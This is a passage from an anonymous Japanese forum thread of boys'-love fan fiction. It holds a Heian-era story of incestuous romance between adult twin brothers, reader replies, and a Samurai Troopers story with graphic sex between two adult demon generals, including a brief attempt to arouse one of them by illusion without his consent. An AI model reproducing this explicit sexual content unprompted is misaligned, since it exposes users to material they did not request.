「主上の羹(あつもの)が凍らなければいいが」
 故事に絡めて軽口を叩いたのは自分だった。
 允恭天皇の時代、同母の兄妹がただならぬ仲となり、そのためにそんな変事が起こったという話である。
「あの方なら、そういう料理だと思って気づかないだろう。それに……起こるわけがない」
 皮肉な声の色。
「どうして?」
 つい、尋ね返してしまう。
「………オレは存在しないのですよ」
「いるではないか」
 傾いた月を遠目で探し、見つけられずに杯を空けた。
「いない。だからこれは、あんたの一人遊びだ。羹が凍るわけがない」
 ――抱いているときも変だった。
 いつもと違って頼りなげな風情で、それこそ月の光のように消えてしまいそうだった。
 そう考えて、兄者は少しおかしくなる。
 行動的でひねくれて、けっこう切れ者の弟は、はかなさの対岸に住んでいる。
煙じゃあるまいし消えやしない。桜に襲われたって余裕で闘いそうだ。


  <> 0・y2=2 7<>sage<>2006/11/05(日) 06:46:44 ID:XTF3mBhw0<>  香木の枕に頭をのせて、弟者の面影を浮かべてみる。
 瞳の色素は相手のほうがやや薄く、鼻梁はいくらかこちらのほうが尖り気味だ。
 そして指先。見た目は変わらないのにずっと器用で、いつだって彼を翻弄する。
 昨夜のその軌跡をたどりなおしているうちに、かなり不埒な気分になって、唐櫃の中をあせりだす。
 唐渡りの『楊貴妃ぬれぬれ萌え絵巻き』にするか『天子はあたしの虜なの・実録妲己の酒池肉林!』にするか、
はたまた和物の『裏伊勢物語・淫虐の宴・獣たちは東国を目指す』にするか、
まじめな顔で検討する。
 結局、『戦慄の美乳・ああっ西施さまっ・傾国の美女の人形(ひとがた)付き』を取り出して、
いたらぬ行為に及んでみる。そこそこ悪いわけではないけれど、夜の濃密さとは較べようもない。

 ―― 一人遊びであるわけがない。
 想像上の昨夜の弟者に反論する。
 体を重ねたときのあの気持ちは、妄想なんかじゃ補えない。第一、一人じゃキスは出来ない。
 そうつぶやくと、夢想の相手は問い掛ける。
 ――女に不自由する立場じゃないだろう。
 同じ問いを返してやる。
 ――じゃあ、おまえは?
 あまたの美女を渡り歩き、湯殿のたきつけにできるほどの文を集めて、
それなのになぜ、俺を誘う。

 絵巻物を巻き戻して、角盥で手を清め、もう一度朝寝と決め込むことにする。
 ――目が覚めたら、妹者と遊んでやろう。
 彼は再び眠りについた。 <> 0・y2=2 8<>sage<>2006/11/05(日) 06:54:32 ID:XTF3mBhw0<>
 渡殿を通る足音で、相手の機嫌がわかる。
 今日は大分悩んでいる。
 長くもない渡殿で時たま止まり、しきりに考え込んでいる様子である。
 御簾ごしに覗くと着替えてきたらしく、浅黄の単の上に白の袿(うちき)を重ねていた。
 目が合っても微笑まない。

「……どうしたのだ。何かあったのか?」
「いや……」

 内裏には世を退いた古老が幾人か招かれており、思い出話に花が咲いていた。
 そのころの記憶を持たない弟者は小さくなり、目立たぬようにふるまっていたが、
最近の事柄についての問いがあり、とうとうと説明し奉った。
 その様を誉められ、つられた同輩が文武に優れ政にたけた選良として讃えてくれる。
「そういえば、殿上童として昇った際なども、特に利発な若君でしたな」
 古老の一人のつぶやきに、賛同する幾人もの年寄りたち。
 弟者は呆然とそれを聞いた。

 兄者が参内するおりは、公務の仕事も適当で、次の日処理に困ることもある。
館にただ一人、することもなく学問と武術に励んだ自分と違い、
在ること自体を認められた彼は、お気楽で間抜けな天然キャラで、向学心などかけらもない。

 そのはずだった。
 幼い彼の武勇伝が語られる。
 ――ちがう。それはオレじゃない。
 適当にかわして、早めに退出する。
 重い音を立てる玉砂利の上で、苦い気持ちで兄を想った。
<> 0・y2=2 9<>sage<>2006/11/05(日) 06:57:25 ID:XTF3mBhw0<>  ――いつから、ヤツはああだった?

 自分だけが残された幼い日々、弟者はそれを恨んだ。無理に引き剥がされていく兄は、
連れて行かれることを恨んでいた。
 そのころの彼が自分とそれほど違っていたとは思えない。
 けれど彼が私塾で学んでいたころは、課題を仕上げるのも、四書五経を叩き込むのも、
全て自分が手伝った。

 ――本当にそれが必要だったのか。

 身内に弟の優秀さを吹聴していたのは、常に兄者だった気がする。
 そのためもあって身代わりは、推奨はされなくとも容認された。

 ――そういや手跡は。
 あれほど不器用なのに、筆跡はぴたりとあわせてある。いつでも二人が代われるように。
<> 0・y2=2 10<>sage<>2006/11/05(日) 07:01:27 ID:XTF3mBhw0<>
 ふらふらと、部屋の中に踏み込んだ。

「…………施すつもりか」
「なに?」
「オレに、施すつもりなのか」

 ふいに豹変した弟者の剣幕に、兄者は驚いて彼を見つめる。
「さぞ気分がいいことだろうよ。何も持たない憐れな弟に、職を恵み、女を恵み、
立場を恵んで上から見下ろすのは」
「弟者?」
 伸ばした手は振り払われた。
 心底傷ついた顔で。
「おまえは、オレを、怒らせた」
 区切りながら言う。泣きそうに。
「いらねぇ」
 我を忘れた怒りが彼を叫ばせる。
「いらねぇよ!おまえの物など何一つ!」

 力を込めて御簾を殴った。
頼りない生地はあっさりと裂け、その脆さは気持ちを微塵も抑えてくれない。
 黙って聞いていた兄者は、静かな声で話しかける。

「ならば聞こう。俺のモノは何一つ要らないとおまえは言う」
 常ならぬ態度で、揺るぎもせず。

「俺は、俺自身はいらないのか?」
 一瞬、息を呑んだ弟にたたみかける。

「答えろ、弟者!」
 聞いたこともないほど強い声で、強い目で。 <> 0・y2=2 11<>sage<>2006/11/05(日) 07:04:19 ID:XTF3mBhw0<>  
 いつのまにか月が昇った。
 今宵の月は銀の光で、冴え冴えと夜を照らしている。
 にやっ、と笑った兄者が、その目の光を和らげた。
「……俺は、おまえが必要だ。そのためだったらどんな手だって使う」

 上に向けた掌の先を軽く動かして、弟者を招く。
 蕩けるように甘い唇づけ。
 時が止まる。
 月影さやかな夜のほとりに、互い以外は存在しない。
 離れた後も気を呑まれたまま、普段は賢しげな弟が立ち尽くしている。
その腕を引っ張って、几帳の影へ身を移す。

「籠っていたい、ってのは作り事じゃないぞ。充分本気だ」
「オレは……」
「あのな、おまえがいなかったら俺もいない。でも俺はいるわけだし、ならばおまえもいるのであろう」
「…………」 <> 0・y2=2 12<>sage<>2006/11/05(日) 07:07:59 ID:XTF3mBhw0<> 「後はなんだ、他人か?……例の羹の木梨軽皇子の歌、二つ目のを覚えているか。笹の葉のやつだ」
 黙ってうなづく。
「――かまうもんか、おまえと寝ることができるのなら。まわりの奴が離れようと知ったこっちゃない、っての。
拗ねやすいおまえに贈ってやろう」

 さらり、と言ってのけた兄に、弟者は耳まで赤くなる。
 その様子を余裕で楽しんで、赤い耳元に口を寄せる。

「……で、上?下?今夜は抱かれたい気分なのではないのか」
 意地を取り戻したらしい弟者が、その言葉を否定する。
 すんなりとした腕が伸び、相手の躯を引き寄せる。
 綺麗な長い指先が、体の線をなぞっていく。
 その道すじが熱を生む。
 ひんやりとした月の光の下で酔いしれて、他の事は何も見えない。
 惑溺の、あの手におえない焔が執拗に燃え上がり、静めることはもはや出来ない。
 熱に浮かされた片割れが相手の名を呼んだ。
 悦楽の深い底で、途切れた声がそれに答えた。

                                      了
<> 風と木の名無しさん<>sage<>2006/11/05(日) 07:10:34 ID:XTF3mBhw0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ ミスガアチコチニ・・・
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/11/05(日) 08:17:50 ID:2Y/PWHu0O<> >521
GJGJGJGJGJ!!!
萌え尽きた…平安テイスト大好物なんだ!
朝からいい物読ませてもらいました。 <> 風と木の名無しさん<>sage<>2006/11/05(日) 12:58:02 ID:G4cZgE8S0<>                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  棚は初投下モナ‥‥。
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  しかも無駄にクソなげー!!
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |

鎧、幻×闇です。
昭和の時代からくすぶっていた煩悩が暴発したのでこんな結果に。
皆様生ぬるく笑ってやってくださいorz <> 風と木の名無しさん<>sage<>2006/11/05(日) 12:58:37 ID:G4cZgE8S0<>  御簾の影に幻の将を見て、悪/奴弥守は舌打ちする。
 闇神殿の周りに張り巡らせた犬の結界は、並みの兵や小童共ならば寄せ付けないが、相手が魔/将となると意味がないらしい。
「………何だ。」
 夜着に着替えかけていた手を止めて、悪/奴弥守が問う。
「気付いたか、闇魔/将。」
「そのように気配を剥き出しにしておいて何を言う。用がないならとっとと去れ。」
 闇を司る悪/奴弥守は自身の気配を殺す事にかけては超一流、勿論、他者の気配にも人一倍敏感だ。今日のように考え事にふけっていなければ神殿に入る前の段階で気付いていただろう。
「今宵はまた愛想のない事だな。犬の躾でも失敗したのか。」
 笑いながら隻眼の男は御簾を分けて寝室の中に入ってきた。
「何用だ?」
 緩めていた帯をしっかりと締めなおしながら悪/奴弥守が再度聞く。
「酒だ。」
 螺/呪羅は手にしていた瓶を差し出して見せる。
 悪/奴弥守はあからさまに眉をしかめてみせた。
 夜更けに、この男が酒を持って寝所に忍んでくる。
 もう意味合いは明白だ。
 ましてや自分が着替えようとするのを、気配を殺して見ていたらしい。
「そう嫌そうな顔をするものではない。先に人間界に用事があってな、土産に買ってきた唐の品だ、貴様も興味はあるだろう。剣南春、という奴だ。」
「……金剛の躾に使った残りか?」
「そうしたくとも、人間界の決まりごとでは、まだあやつらは酒は飲めぬ年なそうでな。その年が来るのが楽しみなことよ。」
 そう言って片目を細めて自分を見る螺/呪羅に、悪/奴弥守は吐息をもらした。
「何を言うか。その年は、今年だぞ。」
「……そうであったか?」
 珍しく間の抜けた顔をした螺/呪羅に、悪/奴弥守はふ、と笑った。
「ここと向こうは世界が違うからな……。」
 そう言いながら壁の茶棚に向かい、中を開ける。
 普段は身の回りの世話をする部下に言いつけるところだが、場合が場合だ。
 自ら杯を二つ選び取り、無造作に畳の上に置いた。
<> 鎧 幻×闇 2/14<>sage<>2006/11/05(日) 12:59:19 ID:G4cZgE8S0<> 「犬の結界の密度を濃くしていた割には、随分、気が抜けていたな。先ほどは。」
 白酒の芳香に悪/奴弥守が気をよくしはじめた頃、螺/呪羅が笑いを含んだ声で言った。
「……知らんわ。」
 途端に不機嫌になって悪/奴弥守は酒を煽る。
「この四百年、俺がお前に気付かれずに寝所まで入れた事、何回あったかのう。」
「……知らんというに。」
 明らかにいらついた声の悪/奴弥守を無視し、螺/呪羅は言葉を続ける。
「闇の将がそこまで無防備になるとは…領地で何かあったか、可愛い犬や獣に気がかりがあるか……それとももっと可愛い光輪に悪い虫でもついたのか。」
「……悪い虫がついてくれるならそれに越した事はないがな。」
 酔いのせいか、頭を占めていた事が、ポロリと悪/奴弥守の口からこぼれ出た。
「ほう?」
 螺/呪羅が興味深そうに言い、悪/奴弥守の空いた杯に剣南春を注ぐ。
 濃香酒と言われるだけはある。その匂いはあまやかに濃い。
「酒もだが…今の人間界は遅すぎる。我らの時代では、十五にもなれば嫁の一人も取っていておかしくなかろう。しかし、二十にもなって浮いた話の一つもないというのは、男として納得いかんわ。」
「何だ。光輪は、そうすると…。」
 さすがに螺/呪羅は皆までは言わなかった。
「俺の知っている限りではな。」
 螺/呪羅に間を持たせないように悪/奴弥守が言葉を継ぐ。
「それは、確かに…遅いな…。」
 悪/奴弥守は杯に顔を向けたまま濃紺の眼だけ螺/呪羅に向けた。
(金剛はどうなのだ。)
 そう口には出さないが、視線だけではっきりと問い掛けている。
「ここと向こうは世界が違うからな。」
 螺/呪羅は何食わぬ顔でそう言った。
「お前に気付かれぬようにもう済ませていると考えるのが自然なのではないか。」
 そう言って、螺/呪羅はまた悪/奴弥守の杯に酒を注ぐ。
「だと、いいのだが。」
 悪/奴弥守の眼から見て、征/士は外見的には問題がないし、能力的にも文武両道よく努力し、具体的な成果を残している。性格的にはとっつきにくいが筋を通す情の濃い男だ。
周りの女が何故放っておくのか、全く分からなかった。
<> 風と木の名無しさん<>sage<>2006/11/05(日) 13:00:44 ID:G4cZgE8S0<> 「……明日で二十というに。」
 そう、ごちる。
「なるほど…。」
 螺/呪羅は妙に優しげに眼を細めて笑う。
「犬の結界と、人払いは、そういう意味か。」
「何だ。」
「明日、人間界に降りて光輪に会うのだろう。」
「………さあ、な。」
「何故、隠す。阿羅醐様のご時世であれば、勝手に人間界に降りる事は厳罰であったが、今は誰も止め立てするものはいない。
同じく鎧を着るものとして、小童どもを気にかけるのは皆同じだ。お前が恥じる事ではない。」
「別に恥じてなどおらぬわ。」
「では、何故、隠す?」
「………………。」
 悪/奴弥守は答えない。
 自分でもよくわからないからだ。
 あえていうなら習慣だろうか。
 妖邪帝国の闇魔/将となり四百二十年あまり、人間界へ降りる事は罰を恐れて他のものの目を盗み、秘密裏に行うことだった。
 それがいきなり解禁になったといわれても、もう癖になっていて抜けないのだろう。
 しかし、それだけが理由ではない。悪/奴弥守は既に小童との戦いが終わってから六十回ほど人間界に降りている。それだけ数を重ねれば、慣れるということもあるはずだ。
(やはり俺は……阿羅醐様………)
「そういえばこの間、那/唖挫が<時>を測ったことは知っているか?」
 考え込んでしまった悪/奴弥守に、螺/呪羅が新しい話題を与えた。
「<時>?」
「妖邪界と人間界の時の流れ、全く違うことはお前も知っておろう?妖邪界のほんの半刻が人間界の十年であったり、
人間界の一日が妖邪界の三年であったり…まったく行き来するのに不便なことよ。両の世界の正確な時の流れ、迦雄須と阿羅醐様は完全に把握していたらしいが、二人とも今はいない。それで、那/唖挫が<時>を測ろうと思い立ったらしい。」
「那/唖挫が一人でか?」
「無論、天空が助太刀に入ったらしいがな。」
「ほう。」
<> 鎧 幻×闇 4/14<>sage<>2006/11/05(日) 13:03:50 ID:G4cZgE8S0<>  好奇心を惹かれ、悪/奴弥守は螺/呪羅の方に身を乗り出した。
「とりあえず、自分が妖邪界に転生した時から妖邪界での現在と、人間界での現在を調べたところ……我ら、一体、何歳になると思う?」
「わからん。こちらの世界にきて、五十を越えたところで数えるのはやめた。」
 何しろ、鎧の力で魔/将たちはいつまでたっても肉体年齢を取らない。
 小童たちは年を取るようだが、それは恐らく世界の性質が違うからだろう。
「那/唖挫は人間界の年齢で、四百四十三歳、妖邪界の年齢で四百四十歳になるらしい。」
「……?三年しか違わなかったのか?」
「もっと大きな差が出ると思っていただろう。」
「確かに、差は開くと思っていた。そうだな、俺は那/唖挫と一年しか年が違わないはずだ。だがこちらの世界に来たのは…いつだったか?まあ大体……四百四十四歳か?」
 そう言って、悪/奴弥守は頭をがしがしとかいた。
 元々、過去にこだわらない性質な上に四百年もたっていればほとんど記憶に残ってないのも無理はない。
「ついでに人間界のなにやら大仰なカラクリを使ったらしくてな、そうすると、那/唖挫の体の年は十九歳、本人の言うには、妖邪界に入ってちょうど四歳年を取っていたそうだ。俺はむしろそちらに驚いた。」
「我らも年を取っていたのか?!」
「まあ、考えてみれば、幼子だった迦/遊羅が武装して星麗剣を振り回すわけだからな。我らだけ時の流れが止まっているということはありえぬ。」
 螺/呪羅はそう言って杯の酒を舐めた。
「すると、俺は、体の年齢だけ言えば、小童どもと同い年ということになるのか。」
 それはあまりに途方もない事に思えて、悪/奴弥守は全く実感がわかなかった。
「那/唖挫と朱/天は年下ということになる。」
「水滸と烈火よりも、年下!」
「全く年を取らないで追い抜かれたのとは少々、意味合いが違ってくるのがまた辛いところよ。」
 悪/奴弥守はそれを知った時の那/唖挫の胸中を考えてみて、歯噛みした。
 「そういうわけで、那/唖挫はしばらく人間界とこの世界を頻繁に行き来して、天空と時を計測するらしい。
一応、政ときちんと両立できるのか、と釘は差しておいた。とはいっても、奴の事だ。切羽つまれば薬で眠気と食欲を止めてやることは全部片付けるだろう。」
<> 鎧 幻×闇 5/14<>sage<>2006/11/05(日) 13:04:23 ID:G4cZgE8S0<>  那/唖挫の薬師の力はそういう意味ではほぼ万能だ。彼の薬品は本人の調合次第で、体にあらゆる変化をほとんど副作用なしで起こす事が出来る。
「……光輪が大人になることは楽しみだったが、考えてみれば我らはいつか追い抜かれる者……なのだな。」
「これだけ年月を重ねれば、自分の年のことなどどうでもよくなるからな。……しかし小童どもにとって我らとて同じく年を取る、鎧を着る者なのは変わりあるまい。」
 明日会う征/士と自分が計算の仕方によっては同い年。
 その事実に悪/奴弥守は頭を殴られたような衝撃を覚えていた。
 それと同時に、説明のつけられない感情がこみあげてくる。
 この四百年で培った自分の力が無駄だといわれたような、それでいて違う世界の征/士が一挙に身近になったような。
「悪/奴弥守。」
 半ば茫然自失していた悪/奴弥守の手を、螺/呪羅が掴んだ。
「………何。」
 途端に薫る、花の匂い。
 その匂いを感じると同時に生唾が込みあがり、酔いの眩暈が襲ってくる。
(……くっ!)
 悪/奴弥守は“気”を使い、自分の中に侵入しようとしてきた螺/呪羅の幻力を弾く。
 同時に螺/呪羅の手をもう片方の手で払いのけた。
「ふざけるな螺/呪羅。お前の幻で遊ばれてたまるか。」
 夢幻の力を持つ螺/呪羅は、那/唖挫の媚薬ほどではないが、暗示で好きな相手を自在に欲情させることができる。
 一度、まんまとしてやられた事のある悪/奴弥守は、以来、螺/呪羅と二人きりになるときは“気”をある程度張り詰めているのだが、
会話の内容で覚えず隙を作ってしまったのだ。そこを螺/呪羅は見逃さなかった。
「やれやれ、全く融通の利かぬ…酒だけでは興ざめかであろうが。」
 そう言ってわざとらしくため息をつく螺/呪羅の蒼い隻眼を鋭く睨みつけ、悪/奴弥守は手酌で酒を杯に注ぐ。
「貴様も知っておろう。俺は薬やなんぞ妖かしの力で好き勝手をされるのは大嫌いだ。男の癖に、そんなに自分に自信がないのか。」
「また挑発的な言葉を使うことよ。」
 低い声で螺/呪羅は笑う。しかしその眼には先ほどまでの優しげな光はない。
「挑発?俺は当たり前の事しか言っておらぬわ。」
<> 鎧 幻×闇 6/14<>sage<>2006/11/05(日) 13:04:54 ID:G4cZgE8S0<> そう言って悪/奴弥守は豪快に酒を飲み干した。
「その様に言われたら、男は己の自信の程を見せねばならぬであろうが?」
 白い指先が伸び、悪/奴弥守の、左の頬の傷を縦にスルリとなぞる。
 瞬間的に、悪/奴弥守の顔が赤く染まった。
「べ、別にそんな意味で…言ったわけではない……。」
 自分の言った言葉は、確かに男を挑発しているようにも聞こえる。
 全くそんなつもりがなかっただけに、悪/奴弥守はうろたえた。
「ほう?ではどんな意味で?」
 悪/奴弥守が抵抗しないのを確かめながら、螺/呪羅は指を更に伸ばし、白い手のひらで彼の頬をなであげる。
「だから、男なら、薬などに頼らず、黙って自力で……。」
「自力で?」
「……………」
 沈黙する悪/奴弥守の首筋に螺/呪羅の手が降りる。
「男は、黙って自力で、どうすればいいのだ?」
「………!」
 ただ触れられているだけなのに、螺/呪羅のひんやりとした手は酒で火照った体に快く、先ほどのように払いのける事が出来ない。
「のう、悪/奴弥守?どうすればいいのだ?」
 そんなことをいいながら、螺/呪羅の手は悪/奴弥守の鉄色の小袖をまくり肩口の方へ入ってくる。咄嗟に身をそらそうとするが思うように体が動かない。
「だから……!」
「だから、何だ?」
「〜〜〜〜〜!口説け!!」
 もう破れかぶれになって怒鳴るように言った。
「黙って、口説く?これはまた、嬉しい事を言ってくれる。」
 何故螺/呪羅が喜んでいるのか分からず、悪/奴弥守は濃紺の眼を瞬く。
 螺/呪羅はこの男に似つかわしい妖艶な笑みを浮かべ、小袖の中に入れていた手を肩から首筋へ滑らせた。
「・・・・・・!」
 それだけなのに、動悸が高鳴る。息が乱れる。
「螺/呪羅……幻は使うなと、言ったはず……」
 自分の体の状態に戸惑い、悪/奴弥守が抗議する。
<> 鎧 幻×闇 7/14<>sage<>2006/11/05(日) 13:05:25 ID:G4cZgE8S0<> 「別に何も使っておらぬわ、何しろ黙って口説くのだからな。」
 確かに“気”を使っても、自分の中に螺/呪羅の幻力が入り込んでいない事が分かる。
 そう言っている間にも、螺/呪羅の指が首筋のある一点を捉えた。
「……んっ……」
「まるで幻にでも囚われたような心地なのか?」
 何かをこらえるように眼を閉じた悪/奴弥守の間近に顔を近づけ、囁くように問う。
「違う!」
 螺/呪羅の吐息から逃れようと、悪/奴弥守は背を反らして身を引いた。
 その瞬間を狙い、小袖の中に滑り込ませていた手で悪/奴弥守の肩を強く押す。
 あえなく、悪/奴弥守は畳の上に倒れた。
 自然と悪/奴弥守の上にのしかかる姿勢になり、螺/呪羅は相手の反応を窺う。
 暴れる獣を力ずくで押さえ込み、無理に受け入れさせるのも嫌いではないが、明日、悪/奴弥守は征/士に会いに行くという。
 それを考えれば無理無体に…というのはよしておくべきだろう。
 そんなことをしなくとも、数え切れないほど重ね合わせた体だ.
 耳の裏側から首筋を指先で舐めるように辿り、空いている手を小袖の上から脇の下をくすぐるように蠢かす。
 息を殺す悪/奴弥守の耳元に口を近づけ、そっと息を吹きかける。
 瞬間、悪/奴弥守の全身が震えた。
 それを見て、螺/呪羅はかすかに唇をゆがめる。
「……笑うな。」
 眼を閉じているのにも関わらず、螺/呪羅の挙動ははっきりと感じ取っているのだろう。
 低い声で悪/奴弥守が言った。
「すまぬ。相変わらず、感度が良すぎるのでな。」
 悪/奴弥守が眼を見開き、螺/呪羅を殴ろうと手を振り上げた。
 その手を素早く掴み、畳の上に落とす。
 睨み付けてくる悪/奴弥守に至極冷静な眼を返し、螺/呪羅は言う。
「本当の事を言ったまでだ。手荒な真似をさせるな。それとも、ここまできておあずけなのか?………俺は貴様の犬ではないぞ、悪/奴弥守。」
 聞こえよがしに悪/奴弥守は舌打ちをした。
「布団。」
 その一言で意味を察し、螺/呪羅は悪/奴弥守の体を両腕に抱き上げた。
 隣室に布団が既に敷いてある事は知っている。
<> 鎧 幻×闇 8/14<>sage<>2006/11/05(日) 13:05:57 ID:G4cZgE8S0<>  闇神殿は基本的に暗いが、悪/奴弥守が睡眠を取るその一室は漆黒の闇だった。
 朱/天や那/唖挫ならば布団のある場所など皆目検討もつかないだろうが、螺/呪羅は違う。
 忍の心を司り、妖邪界に魔/将として転生する以前も一流の頭脳忍・体忍として名を馳せていた螺/呪羅は、悪/奴弥守同様、闇の中でも十分に眼がきく。
 部屋の真中に敷かれた大きく清潔な布団の上に、抱き上げてきた悪/奴弥守をうつぶせに横たえる。
 あお向けでは帯をほどくのが面倒だ。
 かといって、すぐに小袖を脱がせるつもりはない。
 乱れた小袖の裾をゆっくりとめくり上げ、日に焼けた足をはだけさせる。
 暇さえあれば犬を連れて山野を駆け巡っているにもかかわらず、その余分な肉を一切殺ぎ落とされた両足には傷一つない。
 撫でてみると、手に吸い付くような皮膚の感触と、しっかりとした弾力。
 足首のあたりからじわじわと揉むように悪/奴弥守の脚をなで上げていく。
 ふくらはぎ、膝の裏、そして褐色のスラリとした太腿。
「くっ…」
 時間をかけていじられる感覚に耐え切れなかったのか、悪/奴弥守が小さく声を漏らした。
 身を捩って螺/呪羅の手から逃げようとするのを見逃さず、悪/奴弥守の膝を腰の方へと織り込む。
「!」
 必然的に着物の裾をめくり上げられたまま腰を上に突き出す格好にさせられた悪/奴弥守は、両腕を枕の両脇について体を起こそうとした。
 その隙に悪/奴弥守の脚の間に手を突っ込む。
「………ぅ………」
 悪/奴弥守の身に付けていた下帯が、彼の膝に落ちる。
そのまま中のものをやんわりと掴み、指五本を使ってしごきあげる。
 四つんばいの格好のまま、悪/奴弥守が嫌がるように身をひねる。
 その背中に覆い被さり、首筋に唇を当てる。
 手は休めない。次第に息が上がってくる悪/奴弥守。
 その息に耳をすませながら、ねっとりと後ろから首筋を舌で舐め上げる。
 風呂に入った後なのか、柚子の香りと味がした。
「んッ、はぁ……あ、くぅ……っ!」
 闇に漏れる、悪/奴弥守のこらえきれない声。
 追い上げるのは螺/呪羅の指と舌。
<> 鎧 幻×闇 9/14<>sage<>2006/11/05(日) 13:08:27 ID:G4cZgE8S0<> この闇の結界は、外での出来事は察知できるが、中からの音、光、気配は一切外に漏れない仕組みになっている。
 だから悪/奴弥守がどんなに乱れても、その姿を知る者はいない。
 その場にいる、螺/呪羅以外は。
(片目でも、夜目がきいて、よかったな……)
 そんな事を一人思い、螺/呪羅は悪/奴弥守の小袖の胸に手を入れて、素肌をまさぐりはじめた。
 浅黒い皮膚を、縦横無尽に這い回る白い指。
 野性的に引き締まった体を味わい尽くすように、指が動く。
「あ、くっ…螺/呪羅……。」
 普段の彼からは想像もつかないような声で螺/呪羅を呼びながら、悪/奴弥守が敷布に爪を立てる。
「どうした?」
 そう答える螺/呪羅の声は先ほどとまるで変わらず平静そのものだ。
 悪/奴弥守は螺/呪羅の問いに返事をせず、ただ敷布をかきむしる。
 荒い息。しっとりと汗ばんできた首筋をねぶるようにして耳まで口を回す。
 途端、明らかに悪/奴弥守は全身を引きつらせた。
 構わずに耳朶を数度甘く噛み、耳の穴に舌をねじこむ。
「んッ!あ、あ……」
 敷布を引っ掻き回す悪/奴弥守の手が震えている。
 清潔にピンと張り詰めていたはずの敷布はもう皺が寄って乱れきっていた。
 耳から舌を抜き、かわりに悪/奴弥守の胸の尖りをつまむ。
 がくがくと悪/奴弥守の体が震える。
 脚の間に伸ばしていた方の手も絶え間なく動かしながら、尖りをこねくり回し、弾く。
 その動きに忠実な反応を返しながら、悪/奴弥守が身をよじる。
「よ……せ、やめ、ろっ……ら、じゅら……。」
 喘ぎながら、切れ切れの声で悪/奴弥守が言った。
「何故?もうぎりぎりではないか。」
「……汚れる……ッ!」
 悪/奴弥守は普段着の鉄色の小袖を着たままだ。
 小袖を洗うのは当然ながら側仕えの部下。
 いくら人払いをし、闇に潜んでの行為でも、着物の汚れや匂いで分かってしまっては意味がない。
<> 鎧 幻×闇 10/14<>sage<>2006/11/05(日) 13:09:00 ID:G4cZgE8S0<>  しかし、四魔/将の爛れた関係については部下達もとっくに承知の上だし、第一着物ばかり脱いでも、悪/奴弥守自身が布団の上に既に痕跡を残している。
 それでも服を脱ぎたがるというのは、恐らく、部下に「小袖を脱ぐゆとりもないほど」と思われるのが嫌ということか。
「やれやれ。」
 螺/呪羅は大仰にため息をついて密着していた体を離した。
かたばさみに結んでいた帯は二人の体の間で既に横に曲がっている。
 その先を引っ張ってほどき、畳に落とす。
 布団に両手をついている悪/奴弥守の上半身を起こして前をはだけさせる。
 慣れきった手つきで小袖と単を悪/奴弥守の体から取り去り、布団の脇に放り投げる。
 ぎりぎりまで張り詰めた悪/奴弥守の雄が螺/呪羅の視線にさらされる。
「は、あっ……」
 脱がされる事自体に興奮したのか、それとも生地が肌にこすれた感触のせいか。
 自分に背中を向けているにも関わらず、悪/奴弥守の体が、先ほどよりも火照り汗ばんでいるのが分かる。
 悪/奴弥守の肩を引っ張り、傾けるように押す。
 それで意味を察した悪/奴弥守はされるがまま布団の上に仰向けに倒れた。
 螺/呪羅は悪/奴弥守の上にそっと覆い被さり、その口を吸った。
 互いの唾液と舌を絡めあい、貪りあううちに、悪/奴弥守の両腕が螺/呪羅の肩に回る。
 螺/呪羅も悪/奴弥守の黒髪に指を差し入れ、深く口付けをかわす。
「ふ、う……」
 唇を離した瞬間に漏れた息はどちらのものか。
 螺/呪羅の白く長い指が悪/奴弥守の濡れた唇を何度かたどり、やがて口の中に押し込まれた。
 その意図がわからない悪/奴弥守ではない。
 黙って螺/呪羅の数本の指を舐め始める。
 螺/呪羅は乱暴にはならないように気を使いながら、自分に抱きついている悪/奴弥守の腕をほどき、手を伸ばして悪/奴弥守の雄に再び触れる。
「くぅ……う……あ……」
 こらえようとしても体が勝手に動いてしまうのだろう。
 乱れきった敷布の上で、悪/奴弥守がのたうつ。
 そのサマをじっと観察しながら螺/呪羅は悪/奴弥守の先端に爪を立て、くびれを引っかき、しごきたてる。
<> 鎧 幻×闇 11/14<>sage<>2006/11/05(日) 13:09:50 ID:G4cZgE8S0<> 「はっ……も、もう……」
 螺/呪羅の指をくわえながら、切なげに悪/奴弥守が声を上げる。
 それを聞いて、螺/呪羅は悪/奴弥守の口から指を引き抜き、下の口に這わせた。悪/奴弥守の動きが止まる。
 息を詰め、体を強張らせるのを見、安心させるために顔を落とす。
 悪/奴弥守の雄を口全体に頬張って舌を使う。
「………!!」
 その感覚に悪/奴弥守の緊張がたわむ。
 すかさず指を一本突き入れた。
 悪/奴弥守は声を立てずに体を痙攣させている。
 眼だけで見上げると悪/奴弥守は片手で自分の口を抑えて背を弓なりに反らしていた。
 口で愛撫を続けながら悪/奴弥守の反応を確かめる。
 螺/呪羅が中で指を動かすたびに、悪/奴弥守は手を噛んで体を小刻みに震わせる。
 内部で円を描き、時には引きながら、少しずつ奥に侵入していく指。
 悪/奴弥守が異物感に慣れた頃合を見計らい、ずぶりと二本目を入れる。
 その間も、螺/呪羅の口は悪/奴弥守をくわえたまま。
 あいていたほうの悪/奴弥守の手が泳いで、螺/呪羅の髪に触れた。
 まるで、もっと、とねだるように。
恐らく本人には、自分が何をしているかも分かっていないだろう。
「声を出せ、悪/奴弥守。そのほうがラクな事は、分かっておろう。」
 雄から口を外してそう告げると、ゆっくりと悪/奴弥守の裏筋を舌先で舐め上げた。
